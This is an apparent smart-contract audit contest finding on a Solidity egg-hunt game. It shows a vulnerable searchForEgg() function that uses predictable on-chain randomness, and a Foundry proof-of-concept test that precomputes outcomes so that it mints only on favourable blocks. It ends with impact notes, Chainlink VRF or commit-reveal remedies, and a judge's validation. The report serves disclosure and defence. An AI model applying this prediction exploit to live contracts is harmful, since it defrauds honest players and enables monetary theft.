Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Pseudo-Randomness Exploitation in searchForEgg()

Summary

The searchForEgg() The function uses a predictable pseudo-random mechanism to determine whether an NFT (egg) is minted to the caller. The randomness is derived using the following on-chain parameters:

function searchForEgg() external {
require(gameActive, "Game not active");
require(block.timestamp >= startTime, "Game not started yet");
require(block.timestamp <= endTime, "Game ended");
uint256 random = uint256(
keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender, eggCounter))
) % 100; // @Vulnerable
if (random < eggFindThreshold) {
eggCounter++;
eggsFound[msg.sender] += 1;
eggNFT.mintEgg(msg.sender, eggCounter);
emit EggFound(msg.sender, eggCounter, eggsFound[msg.sender]);
}
}

Each of these inputs is either publicly observable, user-controlled, or miner-influenced. As a result, any user can precompute the random outcome off-chain and selectively call searchForEgg() only when the outcome will yield a minted egg.

Reproduction Steps

A vulnerability test was created using Foundry to demonstrate the exploitability of the on-chain randomness logic. The attacker repeatedly simulates future block timestamps and precomputes the randomness result off-chain.

function testSearchForEggRandomnessPredictability() public {
uint256 duration = 300;
game.startGame(duration);
// Set a moderate threshold (e.g., 20% chance)
game.setEggFindThreshold(20);
uint256 successCount = 0;
uint256 attempts = 50;
uint256 originalEggCounter = game.eggCounter();
for (uint256 i = 0; i < attempts; i++) {
vm.warp(block.timestamp + 1);
uint256 predictedRandom = uint256(
keccak256(
abi.encodePacked(
block.timestamp,
block.prevrandao,
alice,
game.eggCounter()
)
)
) % 100;
emit log_named_uint("Predicted random", predictedRandom);
if (predictedRandom < game.eggFindThreshold()) {
vm.prank(alice);
game.searchForEgg();
successCount++;
emit log_named_uint("Egg Found! New Counter", game.eggCounter());
emit log_named_uint("Total Eggs Found by Alice", game.eggsFound(alice));
} else {
emit log("Skipped due to unfavorable random");
}
}
emit log_named_uint("Total successful manipulated mints", successCount);
emit log_named_uint("Expected number of eggs", game.eggCounter() - originalEggCounter);
assertEq(successCount, game.eggCounter() - originalEggCounter, "Mismatch in expected egg count");
}
  • This test simulates an attacker manipulating block.timestamp to precompute the outcome.

  • Eggs were minted only when the predicted outcome was favorable.

  • This resulted in a 100% manipulation success rate within the set threshold range.

Impact

  • Fairness Violation: Attackers can win every time, undermining gameplay mechanics.

  • Economic Risk: If eggs have value, this can lead to monetary exploitation.

  • Loss of Trust: Honest players are disadvantaged and may abandon the protocol.

Tools Used

Foundry

Recommendations

Replace the current method with a secure randomness oracle, like Chainlink VRF. Alternatively, use a commit-reveal scheme to break predictability.

Updates

Lead Judging Commences

m3dython Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Insecure Randomness

Insecure methods to generate pseudo-random numbers

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!